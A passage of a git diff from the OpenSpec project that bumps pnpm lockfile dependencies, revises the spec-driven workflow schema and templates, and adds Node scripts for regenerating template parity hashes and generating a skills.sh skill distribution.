4.46.2 - '@rollup/rollup-linux-ppc64-gnu': 4.46.2 - '@rollup/rollup-linux-riscv64-gnu': 4.46.2 - '@rollup/rollup-linux-riscv64-musl': 4.46.2 - '@rollup/rollup-linux-s390x-gnu': 4.46.2 - '@rollup/rollup-linux-x64-gnu': 4.46.2 - '@rollup/rollup-linux-x64-musl': 4.46.2 - '@rollup/rollup-win32-arm64-msvc': 4.46.2 - '@rollup/rollup-win32-ia32-msvc': 4.46.2 - '@rollup/rollup-win32-x64-msvc': 4.46.2 + '@rollup/rollup-android-arm-eabi': 4.62.2 + '@rollup/rollup-android-arm64': 4.62.2 + '@rollup/rollup-darwin-arm64': 4.62.2 + '@rollup/rollup-darwin-x64': 4.62.2 + '@rollup/rollup-freebsd-arm64': 4.62.2 + '@rollup/rollup-freebsd-x64': 4.62.2 + '@rollup/rollup-linux-arm-gnueabihf': 4.62.2 + '@rollup/rollup-linux-arm-musleabihf': 4.62.2 + '@rollup/rollup-linux-arm64-gnu': 4.62.2 + '@rollup/rollup-linux-arm64-musl': 4.62.2 + '@rollup/rollup-linux-loong64-gnu': 4.62.2 + '@rollup/rollup-linux-loong64-musl': 4.62.2 + '@rollup/rollup-linux-ppc64-gnu': 4.62.2 + '@rollup/rollup-linux-ppc64-musl': 4.62.2 + '@rollup/rollup-linux-riscv64-gnu': 4.62.2 + '@rollup/rollup-linux-riscv64-musl': 4.62.2 + '@rollup/rollup-linux-s390x-gnu': 4.62.2 + '@rollup/rollup-linux-x64-gnu': 4.62.2 + '@rollup/rollup-linux-x64-musl': 4.62.2 + '@rollup/rollup-openbsd-x64': 4.62.2 + '@rollup/rollup-openharmony-arm64': 4.62.2 + '@rollup/rollup-win32-arm64-msvc': 4.62.2 + '@rollup/rollup-win32-ia32-msvc': 4.62.2 + '@rollup/rollup-win32-x64-gnu': 4.62.2 + '@rollup/rollup-win32-x64-msvc': 4.62.2 fsevents: 2.3.3 run-parallel@1.2.0: @@ -2945,6 +2854,8 @@ snapshots: semver@7.7.2: {} + semver@7.8.5: {} + shebang-command@2.0.0: dependencies: shebang-regex: 3.0.0 @@ -2963,6 +2874,8 @@ snapshots: slash@3.0.0: {} + smol-toml@1.7.1: {} + source-map-js@1.2.1: {} spawndamnit@3.0.1: @@ -2976,7 +2889,7 @@ snapshots: std-env@3.9.0: {} - stdin-discarder@0.2.2: {} + stdin-discarder@0.3.2: {} string-width@4.2.3: dependencies: @@ -2984,47 +2897,40 @@ snapshots: is-fullwidth-code-point: 3.0.0 strip-ansi: 6.0.1 - string-width@7.2.0: + string-width@8.2.2: dependencies: - emoji-regex: 10.4.0 - get-east-asian-width: 1.3.0 - strip-ansi: 7.1.0 + get-east-asian-width: 1.6.0 + strip-ansi: 7.2.0 strip-ansi@6.0.1: dependencies: ansi-regex: 5.0.1 - strip-ansi@7.1.0: + strip-ansi@7.2.0: dependencies: - ansi-regex: 6.1.0 + ansi-regex: 6.2.2 strip-bom@3.0.0: {} - strip-json-comments@3.1.1: {} - strip-literal@3.0.0: dependencies: js-tokens: 9.0.1 - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - term-size@2.2.1: {} tinybench@2.9.0: {} tinyexec@0.3.2: {} - tinyglobby@0.2.14: + tinyglobby@0.2.15: dependencies: - fdir: 6.4.6(picomatch@4.0.3) - picomatch: 4.0.3 + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 - tinyglobby@0.2.15: + tinyglobby@0.2.17: dependencies: - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 tinypool@1.1.1: {} @@ -3032,10 +2938,6 @@ snapshots: tinyspy@4.0.3: {} - tmp@0.0.33: - dependencies: - os-tmpdir: 1.0.2 - to-regex-range@5.0.1: dependencies: is-number: 7.0.0 @@ -3044,30 +2946,28 @@ snapshots: tr46@0.0.3: {} - ts-api-utils@2.1.0(typescript@5.9.3): + ts-api-utils@2.5.0(typescript@6.0.3): dependencies: - typescript: 5.9.3 + typescript: 6.0.3 type-check@0.4.0: dependencies: prelude-ls: 1.2.1 - type-fest@0.21.3: {} - - typescript-eslint@8.50.1(eslint@9.39.2)(typescript@5.9.3): + typescript-eslint@8.65.0(eslint@10.8.0)(typescript@6.0.3): dependencies: - '@typescript-eslint/eslint-plugin': 8.50.1(@typescript-eslint/parser@8.50.1(eslint@9.39.2)(typescript@5.9.3))(eslint@9.39.2)(typescript@5.9.3) - '@typescript-eslint/parser': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - '@typescript-eslint/typescript-estree': 8.50.1(typescript@5.9.3) - '@typescript-eslint/utils': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - eslint: 9.39.2 - typescript: 5.9.3 + '@typescript-eslint/eslint-plugin': 8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0)(typescript@6.0.3))(eslint@10.8.0)(typescript@6.0.3) + '@typescript-eslint/parser': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + '@typescript-eslint/typescript-estree': 8.65.0(typescript@6.0.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + eslint: 10.8.0 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - typescript@5.9.3: {} + typescript@6.0.3: {} - undici-types@7.10.0: {} + undici-types@6.21.0: {} universalify@0.1.2: {} @@ -3075,13 +2975,13 @@ snapshots: dependencies: punycode: 2.3.1 - vite-node@3.2.4(@types/node@24.2.0)(yaml@2.8.2): + vite-node@3.2.4(@types/node@20.19.43)(yaml@2.9.0): dependencies: cac: 6.7.14 - debug: 4.4.1 + debug: 4.4.3 es-module-lexer: 1.7.0 pathe: 2.0.3 - vite: 7.0.6(@types/node@24.2.0)(yaml@2.8.2) + vite: 7.3.6(@types/node@20.19.43)(yaml@2.9.0) transitivePeerDependencies: - '@types/node' - jiti @@ -3096,47 +2996,47 @@ snapshots: - tsx - yaml - vite@7.0.6(@types/node@24.2.0)(yaml@2.8.2): + vite@7.3.6(@types/node@20.19.43)(yaml@2.9.0): dependencies: - esbuild: 0.25.8 - fdir: 6.4.6(picomatch@4.0.3) - picomatch: 4.0.3 - postcss: 8.5.6 - rollup: 4.46.2 - tinyglobby: 0.2.14 + esbuild: 0.28.1 + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 + postcss: 8.5.25 + rollup: 4.62.2 + tinyglobby: 0.2.15 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 fsevents: 2.3.3 - yaml: 2.8.2 + yaml: 2.9.0 - vitest@3.2.4(@types/node@24.2.0)(@vitest/ui@3.2.4)(yaml@2.8.2): + vitest@3.2.6(@types/node@20.19.43)(@vitest/ui@3.2.6)(yaml@2.9.0): dependencies: '@types/chai': 5.2.2 - '@vitest/expect': 3.2.4 - '@vitest/mocker': 3.2.4(vite@7.0.6(@types/node@24.2.0)(yaml@2.8.2)) - '@vitest/pretty-format': 3.2.4 - '@vitest/runner': 3.2.4 - '@vitest/snapshot': 3.2.4 - '@vitest/spy': 3.2.4 - '@vitest/utils': 3.2.4 + '@vitest/expect': 3.2.6 + '@vitest/mocker': 3.2.6(vite@7.3.6(@types/node@20.19.43)(yaml@2.9.0)) + '@vitest/pretty-format': 3.2.6 + '@vitest/runner': 3.2.6 + '@vitest/snapshot': 3.2.6 + '@vitest/spy': 3.2.6 + '@vitest/utils': 3.2.6 chai: 5.2.1 debug: 4.4.1 expect-type: 1.2.2 magic-string: 0.30.17 pathe: 2.0.3 - picomatch: 4.0.3 + picomatch: 4.0.4 std-env: 3.9.0 tinybench: 2.9.0 tinyexec: 0.3.2 - tinyglobby: 0.2.14 + tinyglobby: 0.2.15 tinypool: 1.1.1 tinyrainbow: 2.0.0 - vite: 7.0.6(@types/node@24.2.0)(yaml@2.8.2) - vite-node: 3.2.4(@types/node@24.2.0)(yaml@2.8.2) + vite: 7.3.6(@types/node@20.19.43)(yaml@2.9.0) + vite-node: 3.2.4(@types/node@20.19.43)(yaml@2.9.0) why-is-node-running: 2.3.0 optionalDependencies: - '@types/node': 24.2.0 - '@vitest/ui': 3.2.4(vitest@3.2.4) + '@types/node': 20.19.43 + '@vitest/ui': 3.2.6(vitest@3.2.6) transitivePeerDependencies: - jiti - less @@ -3175,10 +3075,12 @@ snapshots: string-width: 4.2.3 strip-ansi: 6.0.1 - yaml@2.8.2: {} + yaml@2.9.0: {} yocto-queue@0.1.0: {} - yoctocolors-cjs@2.1.2: {} + yoctocolors-cjs@2.1.3: {} + + yoctocolors@2.2.0: {} - zod@4.0.17: {} + zod@4.4.3: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml new file mode 100644 index 0000000000..3de39a74fd --- /dev/null +++ b/pnpm-workspace.yaml @@ -0,0 +1,9 @@ +packages: + - '.' + +allowBuilds: + esbuild@0.28.1: true + +overrides: + brace-expansion@<=5.0.8: '>=5.0.9 <6' + postcss@<8.5.23: '>=8.5.23 <9' diff --git a/schemas/spec-driven/schema.yaml b/schemas/spec-driven/schema.yaml index 45f61e222b..ae4d9eb336 100644 --- a/schemas/spec-driven/schema.yaml +++ b/schemas/spec-driven/schema.yaml @@ -13,14 +13,22 @@ artifacts: - **Why**: 1-2 sentences on the problem or opportunity. What problem does this solve? Why now? - **What Changes**: Bullet list of changes. Be specific about new capabilities, modifications, or removals. Mark breaking changes with **BREAKING**. - **Capabilities**: Identify which specs will be created or modified: - - **New Capabilities**: List capabilities being introduced. Each becomes a new `specs/<name>/spec.md`. Use kebab-case names (e.g., `user-auth`, `data-export`). - - **Modified Capabilities**: List existing capabilities whose REQUIREMENTS are changing. Only include if spec-level behavior changes (not just implementation details). Each needs a delta spec file. Check `openspec/specs/` for existing spec names. Leave empty if no requirement changes. + - **New Capabilities**: List capabilities being introduced. Each becomes a new `specs/<capability-path>/spec.md`. Use kebab-case for path segments you introduce (e.g., `user-auth` or `identity/user-auth`) and follow the project's existing spec organization. + - **Modified Capabilities**: List existing capabilities whose REQUIREMENTS are changing. Only include if spec-level behavior changes (not just implementation details). Each needs a delta spec file. Use the exact existing path under `openspec/specs/`. Leave empty if no requirement changes. - **Impact**: Affected code, APIs, dependencies, or systems. IMPORTANT: The Capabilities section is critical. It creates the contract between proposal and specs phases. Research existing specs before filling this in. Each capability listed here will need a corresponding spec file. + Every change must either declare at least one capability (new or + modified) or explicitly opt out of specs: `openspec validate` rejects a + change with zero deltas unless the change's `.openspec.yaml` sets + `skip_specs: true`. Use `skip_specs: true` only when no spec-level + behavior changes (pure refactor, tooling, docs) - specs describe + behavior, so if behavior does not change, no spec should change either. + Do not invent a requirement just to satisfy validation. + Keep it concise (1-2 pages). Focus on the "why" not the "how" - implementation details belong in design.md. @@ -34,9 +42,33 @@ artifacts: instruction: | Create specification files that define WHAT the system should do. + A spec is a behavior contract, not an implementation plan. + + Good spec content: + - Observable behavior users or downstream systems rely on + - Inputs, outputs, and error conditions + - External constraints (security, privacy, reliability, compatibility) + - Scenarios that can be tested or explicitly validated + + Avoid in specs: + - Internal class/function names + - Library or framework choices + - Step-by-step implementation details + - Detailed execution plans (those belong in design.md or tasks.md) + + Quick test: if the implementation can change without changing externally + visible behavior, it likely does not belong in the spec. + Create one spec file per capability listed in the proposal's Capabilities section. - - New capabilities: use the exact kebab-case name from the proposal (specs/<capability>/spec.md). - - Modified capabilities: use the existing spec folder name from openspec/specs/<capability>/ when creating the delta spec at specs/<capability>/spec.md. + `<capability-path>` is the spec directory relative to `specs/` (for example, + `user-auth` or `identity/user-auth`). Preserve the full path: + - New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout. + - Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability. + + There must be at least one spec file unless the change's `.openspec.yaml` + sets `skip_specs: true` (no spec-level behavior change) - `openspec validate` + rejects a zero-delta change without that marker. If the proposal lists no + capabilities and `skip_specs` is not set, revisit the proposal first. Delta operations (use ## headers): - **ADDED Requirements**: New capabilities @@ -51,8 +83,18 @@ artifacts: - **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently. - Every requirement MUST have at least one scenario. + New capabilities only: start the delta spec with a `## Purpose` section - + one or two sentences (50+ characters, or `openspec validate --strict` + reports it as too brief) describing what the capability is for. Archive + copies it into the main spec it creates; without it the new main spec is + left with a `TBD ... Update Purpose after archive` placeholder to fill in + by hand. Do NOT add `## Purpose` to a delta for an existing capability - + that spec already has one and the delta's is ignored. To change an + existing capability's Purpose - including a leftover `TBD` placeholder - + edit `openspec/specs/<capability-path>/spec.md` directly. + MODIFIED requirements workflow: - 1. Locate the existing requirement in openspec/specs/<capability>/spec.md + 1. Locate the existing requirement in openspec/specs/<capability-path>/spec.md 2. Copy the ENTIRE requirement block (from `### Requirement:` through all scenarios) 3. Paste under `## MODIFIED Requirements` and edit to reflect new behavior 4. Ensure header text matches exactly (whitespace-insensitive) @@ -60,8 +102,12 @@ artifacts: Common pitfall: Using MODIFIED with partial content loses detail at archive time. If adding new concerns without changing existing behavior, use ADDED instead. - Example: + Example (a new capability, so it opens with `## Purpose`): ``` + ## Purpose + + Lets users take their data out of the product in a portable format. + ## ADDED Requirements ### Requirement: User can export data @@ -96,15 +142,22 @@ artifacts: - Ambiguity that benefits from technical decisions before coding Sections: - - **Context**: Background, current state, constraints, stakeholders - - **Goals / Non-Goals**: What this design achieves and explicitly excludes + - **Context**: Only the current state and constraints needed to explain the approach. Reference the proposal for motivation instead of restating it (e.g., "See proposal.md - Why"). + - **Goals / Non-Goals**: What this design achieves and explicitly excludes. Don't restate the proposal's scope - add only design-level boundaries. - **Decisions**: Key technical choices with rationale (why X over Y?). Include alternatives considered for each decision. - **Risks / Trade-offs**: Known limitations, things that could go wrong. Format: [Risk] → Mitigation - **Migration Plan**: Steps to deploy, rollback strategy (if applicable) - - **Open Questions**: Outstanding decisions or unknowns to resolve + - **Open Questions**: Unknowns that can safely be answered later without + changing the specs, the approach, or the task breakdown. Omit if none. + + Open questions are for genuinely deferrable unknowns, not decisions you + skipped. If a question would change the specs, the chosen approach, or + the task breakdown, resolve it now - ask the user instead of guessing. Focus on architecture and approach, not line-by-line implementation. - Reference the proposal for motivation and specs for requirements. + The proposal covers why and what; design covers how. Reference the + proposal for motivation and, once written, the specs for requirements - + if a section would only restate them, point to them instead. Good design docs explain the "why" behind technical decisions. requires: @@ -117,6 +170,10 @@ artifacts: instruction: | Create the task list that breaks down the implementation work. + Before writing tasks, check design.md for Open Questions. If any of them + would change what gets built, resolve them with the user first - do not + bake an unstated assumption into the task list. + **IMPORTANT: Follow the template below exactly.** The apply phase parses checkbox format to track progress. Tasks not using `- [ ]` won't be tracked. diff --git a/schemas/spec-driven/templates/design.md b/schemas/spec-driven/templates/design.md index 4ab5bd8393..78fcc34345 100644 --- a/schemas/spec-driven/templates/design.md +++ b/schemas/spec-driven/templates/design.md @@ -1,6 +1,6 @@ ## Context -<!-- Background and current state --> +<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it --> ## Goals / Non-Goals @@ -12,7 +12,7 @@ ## Decisions -<!-- Key design decisions and rationale --> +<!-- Key design decisions with rationale and alternatives considered --> ## Risks / Trade-offs diff --git a/schemas/spec-driven/templates/proposal.md b/schemas/spec-driven/templates/proposal.md index c79b85d44d..fe1aeb6acb 100644 --- a/schemas/spec-driven/templates/proposal.md +++ b/schemas/spec-driven/templates/proposal.md @@ -9,14 +9,20 @@ ## Capabilities ### New Capabilities -<!-- Capabilities being introduced. Replace <name> with kebab-case identifier (e.g., user-auth, data-export, api-rate-limiting). Each creates specs/<name>/spec.md --> -- `<name>`: <brief description of what this capability covers> +<!-- Capabilities being introduced. Use kebab-case for path segments you introduce + (e.g., user-auth or identity/user-auth) that follow the project's existing + spec organization. Each creates specs/<capability-path>/spec.md. --> +- `<capability-path>`: <brief description of what this capability covers> ### Modified Capabilities <!-- Existing capabilities whose REQUIREMENTS are changing (not just implementation). Only list here if spec-level behavior changes. Each needs a delta spec file. - Use existing spec names from openspec/specs/. Leave empty if no requirement changes. --> -- `<existing-name>`: <what requirement is changing> + Use the exact existing path under openspec/specs/. Leave empty if no requirement + changes. A change with no capabilities at all (pure refactor, tooling, docs) + must set `skip_specs: true` in its .openspec.yaml - openspec validate rejects + a zero-delta change without that marker. Do not invent a requirement just to + satisfy validation. --> +- `<existing-capability-path>`: <what requirement is changing> ## Impact diff --git a/schemas/spec-driven/templates/spec.md b/schemas/spec-driven/templates/spec.md index 095d711c8f..c12f44d7f5 100644 --- a/schemas/spec-driven/templates/spec.md +++ b/schemas/spec-driven/templates/spec.md @@ -1,3 +1,6 @@ +## Purpose +<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. --> + ## ADDED Requirements ### Requirement: <!-- requirement name --> diff --git a/scripts/README.md b/scripts/README.md index dcdc6e744a..199fc5c30f 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -28,6 +28,45 @@ git add flake.nix git commit -m "chore: update flake.nix dependency hash" ``` +## regen-parity-hashes.mjs + +Recomputes the golden hashes pinned in +`test/core/templates/skill-templates-parity.test.ts`. + +**When to use**: After any intended workflow-template change, and after +rebasing a branch that edits templates — two branches touching different +templates collide on the same hash map, and hand-editing 64-character hashes +during a conflict is where transcription mistakes happen. + +**Usage**: +```bash +pnpm build && pnpm regen:parity-hashes +pnpm vitest run test/core/templates/skill-templates-parity.test.ts +``` + +**What it does**: +1. Refuses to run if `dist/` is missing or older than `src/` — hashes come from + the build, while the parity test reads `src/`, so regenerating against a + stale build writes hashes the test then rejects +2. Recomputes every pinned hash from the built `dist/` +3. Rewrites the map in place and prints which entries moved +4. Exits non-zero, writing nothing, if it cannot account for every pinned hash: + a label with no matching export (a renamed or deleted template), or a hash + line these patterns do not recognise. Both would otherwise be left stale + while the run reported success, so `nothing to update` always means it. + +Line endings round-trip unchanged, so a CRLF checkout is safe — `test/**` has no +`text eol=lf` attribute, so the file arrives with CRLF on Windows. + +The parity test recomputes the same hashes independently, so this script cannot +silently produce a wrong value. Always run the test afterwards; it, not this +script, is the authority. + +The rewriting lives in `parity-hash-shared.mjs` so its guards can be exercised +against fabricated input — see `test/core/templates/parity-hash-shared.test.ts`. +A test that ran this script for real would rewrite the repository's own parity +test file mid-suite. + ## postinstall.js Post-installation script that runs after package installation. diff --git a/scripts/generate-skillssh.mjs b/scripts/generate-skillssh.mjs new file mode 100644 index 0000000000..c68137f92a --- /dev/null +++ b/scripts/generate-skillssh.mjs @@ -0,0 +1,47 @@ +#!/usr/bin/env node + +/** + * Generate the static skills.sh distribution of the OpenSpec workflow skills. + * + * skills.sh installs skills by reading committed `SKILL.md` files straight from + * a GitHub repo (`npx skills add Fission-AI/OpenSpec`). OpenSpec normally + * *generates* these skills into a user's project via `openspec init`, so this + * script mirrors that same output into a committed `skills/<name>/SKILL.md` + * tree that skills.sh can discover. + * + * The committed copies are kept honest by `test/core/templates/skillssh-parity.test.ts`, + * which regenerates and diffs against disk. Run this after any skill-template + * change: `pnpm build && pnpm generate:skills`. + */ + +import { writeFileSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +import { getSkillTemplates, generateSkillContent } from '../dist/core/shared/skill-generation.js'; +import { transformToSkillReferences } from '../dist/utils/command-references.js'; +import { + cleanSkillSubdirectories, + prepareSkillDirectory, + stripVolatileFrontmatter, + SKILLS_DIR, +} from './skillssh-shared.mjs'; + +const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..'); +const outDir = join(repoRoot, SKILLS_DIR); + +cleanSkillSubdirectories(outDir); + +let count = 0; +for (const { template, dirName } of getSkillTemplates()) { + // skills.sh installs SKILL.md files only — no /opsx:* commands exist in + // that channel, so references must point at the skills themselves. + const content = stripVolatileFrontmatter( + generateSkillContent(template, 'skills.sh', transformToSkillReferences) + ); + const skillDir = prepareSkillDirectory(outDir, dirName); + writeFileSync(join(skillDir, 'SKILL.md'), content, 'utf8'); + count++; +} + +console.log(`Generated ${count} skills into ${SKILLS_DIR}/`); diff --git a/scripts/parity-hash-shared.mjs b/scripts/parity-hash-shared.mjs new file mode 100644 index 0000000000..71f6ddb806 --- /dev/null +++ b/scripts/parity-hash-shared.mjs @@ -0,0 +1,130 @@ +/** + * Shared helpers for the parity-hash regeneration script and its tests. + * + * The rewriting lives here, separate from `regen-parity-hashes.mjs`, so its + * guards can be exercised against fabricated input instead of the repository's + * own parity test file. A test that ran the script for real would rewrite + * `test/core/templates/skill-templates-parity.test.ts` on disk mid-suite. + */ + +/** + * Pinned-hash line patterns. + * + * The trailing comma is optional: the last entry of a map may legally omit it, + * and requiring it silently skipped such a pin. + * + * CRLF needs no special handling. `test/**` carries no `text eol=lf` attribute, + * so a Windows checkout delivers CRLF, but JavaScript treats `\r` as a line + * terminator under /m - `$` matches before it, so the carriage return is never + * consumed and survives the rewrite. (Python's `re.M` does not, which is worth + * knowing before porting these patterns anywhere.) + */ +const FUNCTION_PIN = /^(\s+)(get[A-Za-z0-9]+): '([0-9a-f]{64})'(,?)$/gm; +const CONTENT_PIN = /^(\s+)'(openspec-[a-z0-9-]+)': '([0-9a-f]{64})'(,?)$/gm; + +/** Any 64-hex literal, however it is written. */ +const HEX_LITERAL = /'[0-9a-f]{64}'/g; + +/** + * Rewrite every pinned hash in the parity test's source. + * + * `resolveFunctionHash(name)` and `resolveContentHash(dirName)` return the hash + * a pin should now hold, or `undefined` when the label no longer corresponds to + * anything - a renamed or deleted template, which is an error rather than a + * line to leave alone. + * + * Throws without returning a partial rewrite when the number of 64-hex literals + * found does not match the number rewritten. That count uses a deliberately + * broader pattern than the two above, so it is a real cross-check: were it + * derived from the same patterns, a line they miss would go missing from both + * sides and prove nothing. + * + * @param {string} source - contents of the parity test file + * @param {{ + * resolveFunctionHash: (name: string) => string | undefined, + * resolveContentHash: (dirName: string) => string | undefined, + * knownContentKeys?: Iterable<string>, + * sourceLabel?: string, + * }} resolvers + * @returns {{ source: string, moved: string[] }} rewritten source and the + * labels whose hash changed + */ +export function rewriteParityHashes( + source, + { resolveFunctionHash, resolveContentHash, knownContentKeys = [], sourceLabel = 'the parity test' } +) { + const moved = []; + const seenContentKeys = new Set(); + let seen = 0; + + const totalHexLiterals = (source.match(HEX_LITERAL) ?? []).length; + + let rewritten = source.replace(FUNCTION_PIN, (_match, indent, name, previous, comma) => { + const next = resolveFunctionHash(name); + if (next === undefined) { + throw new Error(`${name} is pinned in the parity test but not exported from skill-templates.js`); + } + if (next !== previous) moved.push(name); + seen += 1; + return `${indent}${name}: '${next}'${comma}`; + }); + + rewritten = rewritten.replace(CONTENT_PIN, (_match, indent, dirName, previous, comma) => { + const next = resolveContentHash(dirName); + if (next === undefined) { + throw new Error(`'${dirName}' is pinned in the parity test but not returned by getSkillTemplates()`); + } + if (next !== previous) moved.push(dirName); + seenContentKeys.add(dirName); + seen += 1; + return `${indent}'${dirName}': '${next}'${comma}`; + }); + + if (seen !== totalHexLiterals) { + throw new Error( + `Rewrote ${seen} of ${totalHexLiterals} 64-hex literals in ${sourceLabel}.\n` + + 'Every one is assumed to be a pinned hash, so the two counts must agree. Either:\n' + + ' - a pinned hash is formatted in a way the patterns here do not match, and ' + + 'would have been left stale without warning: widen them; or\n' + + ' - the file gained a 64-hex literal that is not a pin: narrow the count above ' + + 'so it stops being mistaken for one.' + ); + } + + // The checks above only see pins that exist. A workflow added to the registry + // but never pinned is invisible to them AND to the parity test, which compares + // only the entries it already lists - so it would ship with no golden hash at + // all while this reported success. Compare the other direction too. + const unpinned = [...knownContentKeys].filter((key) => !seenContentKeys.has(key)); + if (unpinned.length > 0) { + throw new Error( + `getSkillTemplates() returns ${unpinned.length} skill(s) with no pinned hash in ${sourceLabel}:\n` + + unpinned.map((key) => ` ${key}`).join('\n') + + '\nAdd each to EXPECTED_GENERATED_SKILL_CONTENT_HASHES and GENERATED_SKILL_FACTORIES.\n' + + 'Until then the skill ships with no parity coverage, so this run would have ' + + 'reported success while leaving it unguarded.' + ); + } + + return { source: rewritten, moved }; +} + +/** + * Stable, key-sorted serialisation used to hash a template's payload. + * + * Must stay byte-compatible with the copy in + * `test/core/templates/skill-templates-parity.test.ts`. A divergence cannot pass + * unnoticed: that test recomputes the hashes independently and compares. + */ +export function stableStringify(value) { + if (Array.isArray(value)) { + return `[${value.map(stableStringify).join(',')}]`; + } + if (value && typeof value === 'object') { + const entries = Object.entries(value) + .sort(([left], [right]) => left.localeCompare(right)) + .map(([key, item]) => `${JSON.stringify(key)}:${stableStringify(item)}`); + return `{${entries.join(',')}}`; + } + return JSON.stringify(value); +} diff --git a/scripts/regen-parity-hashes.mjs b/scripts/regen-parity-hashes.mjs new file mode 100644 index 0000000000..917e20d2fb --- /dev/null +++ b/scripts/regen-parity-hashes.mjs @@ -0,0 +1,115 @@ +#!/usr/bin/env node + +/** + * Regenerate the golden hashes in `test/core/templates/skill-templates-parity.test.ts`. + * + * That test pins a SHA-256 per template so an unintended edit to any workflow + * template fails loudly. The flip side is that every *intended* edit leaves the + * pinned hashes stale, and two branches editing different templates collide on + * the same hash map — so a rebase means recomputing them by hand, which is + * where transcription mistakes creep in. + * + * This script recomputes every pinned hash from the built `dist/` and rewrites + * the map in place, reporting exactly which entries moved. + * + * Three things are hard errors rather than silent skips, because "nothing to + * update" has to mean it: + * - a `dist/` older than `src/`, which would pin hashes from a stale build + * that the parity test (which reads `src/`) then rejects + * - a pinned label with no matching export (a renamed or deleted template) + * - a pinned hash whose line the patterns do not recognise, which would + * otherwise be left stale while the run reported success + * + * The last two live in `parity-hash-shared.mjs` so they can be exercised against + * fabricated input; see `test/core/templates/parity-hash-shared.test.ts`. + * + * It cannot silently produce wrong hashes: the parity test recomputes them + * independently and compares. If `stableStringify` ever drifted from the test's + * copy, the test fails. Always run the test afterwards - that check, not this + * script, is the authority. + * + * Usage: + * pnpm build && pnpm regen:parity-hashes && pnpm vitest run test/core/templates/skill-templates-parity.test.ts + */ + +import { createHash } from 'node:crypto'; +import { readdirSync, readFileSync, statSync, writeFileSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +import { rewriteParityHashes, stableStringify } from './parity-hash-shared.mjs'; + +const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..'); +const distUrl = (p) => pathToFileURL(join(repoRoot, 'dist', p)).href; + +/** Newest mtime under a directory, or -1 if it does not exist. */ +function newestMtime(dir) { + let newest = -1; + let entries; + try { + entries = readdirSync(dir, { withFileTypes: true }); + } catch { + return newest; + } + for (const entry of entries) { + if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue; + const full = join(dir, entry.name); + const mtime = entry.isDirectory() ? newestMtime(full) : statSync(full).mtimeMs; + if (mtime > newest) newest = mtime; + } + return newest; +} + +// Hashes are computed from dist/, but the parity test recomputes them from +// src/. Regenerating against a stale build therefore writes hashes the test +// then rejects, after reporting "nothing to update" - a false all-clear on the +// most common mistake there is, forgetting to build. Refuse to guess. +const srcMtime = newestMtime(join(repoRoot, 'src')); +const distMtime = newestMtime(join(repoRoot, 'dist')); +if (distMtime < 0) { + throw new Error('dist/ is missing. Run `pnpm build` first - hashes are computed from the build.'); +} +if (srcMtime > distMtime) { + throw new Error( + 'dist/ is older than src/, so the hashes would be computed from a stale build\n' + + 'and the parity test - which reads src/ - would reject them. Run `pnpm build` first.' + ); +} + +const templates = await import(distUrl('core/templates/skill-templates.js')); +const { getSkillTemplates, generateSkillContent } = await import( + distUrl('core/shared/skill-generation.js') +); + +const TEST_FILE = join(repoRoot, 'test/core/templates/skill-templates-parity.test.ts'); + +const sha256 = (value) => createHash('sha256').update(value).digest('hex'); + +// The generated-content hashes are keyed by skill directory. Read that mapping +// from the same production helper the skills.sh generator uses, so a new +// workflow never needs a second list kept in sync here. +const PARITY_BASELINE = 'PARITY-BASELINE'; +const contentByDir = new Map( + getSkillTemplates().map(({ dirName, template }) => [ + dirName, + sha256(generateSkillContent(template, PARITY_BASELINE)), + ]) +); + +const { source, moved } = rewriteParityHashes(readFileSync(TEST_FILE, 'utf-8'), { + resolveFunctionHash: (name) => + typeof templates[name] === 'function' ? sha256(stableStringify(templates[name]())) : undefined, + resolveContentHash: (dirName) => contentByDir.get(dirName), + knownContentKeys: contentByDir.keys(), + sourceLabel: TEST_FILE, +}); + +writeFileSync(TEST_FILE, source); + +if (moved.length === 0) { + console.log('Parity hashes already match the build - nothing to update.'); +} else { + console.log(`Updated ${moved.length} parity hash(es):`); + for (const name of moved) console.log(` ${name}`); +} +console.log('\nNow run: pnpm vitest run test/core/templates/skill-templates-parity.test.ts'); diff --git a/scripts/skillssh-shared.mjs b/scripts/skillssh-shared.mjs new file mode 100644 index 0000000000..47ad02e510 --- /dev/null +++ b/scripts/skillssh-shared.mjs @@ -0,0 +1,60 @@ +/** + * Shared helpers for the skills.sh distribution generator and its parity test. + */ + +import { lstatSync, mkdirSync, readdirSync, rmSync } from 'node:fs'; +import { join } from 'node:path'; + +/** Directory (repo-relative) that skills.sh scans for `SKILL.md` files. */ +export const SKILLS_DIR = 'skills'; + +/** + * Drop the per-release `generatedBy` frontmatter line so the committed + * skills.sh copies stay byte-stable across OpenSpec version bumps. The line is + * meaningful only for skills that `openspec init` writes into a project; in the + * standalone distribution it would just churn the files on every release. + */ +export function stripVolatileFrontmatter(content) { + return content.replace(/^ {2}generatedBy: .*\n/m, ''); +} + +/** + * Remove existing skill subdirectories (clears any renamed/removed skills) + * while preserving top-level files like README.md. Refuses to 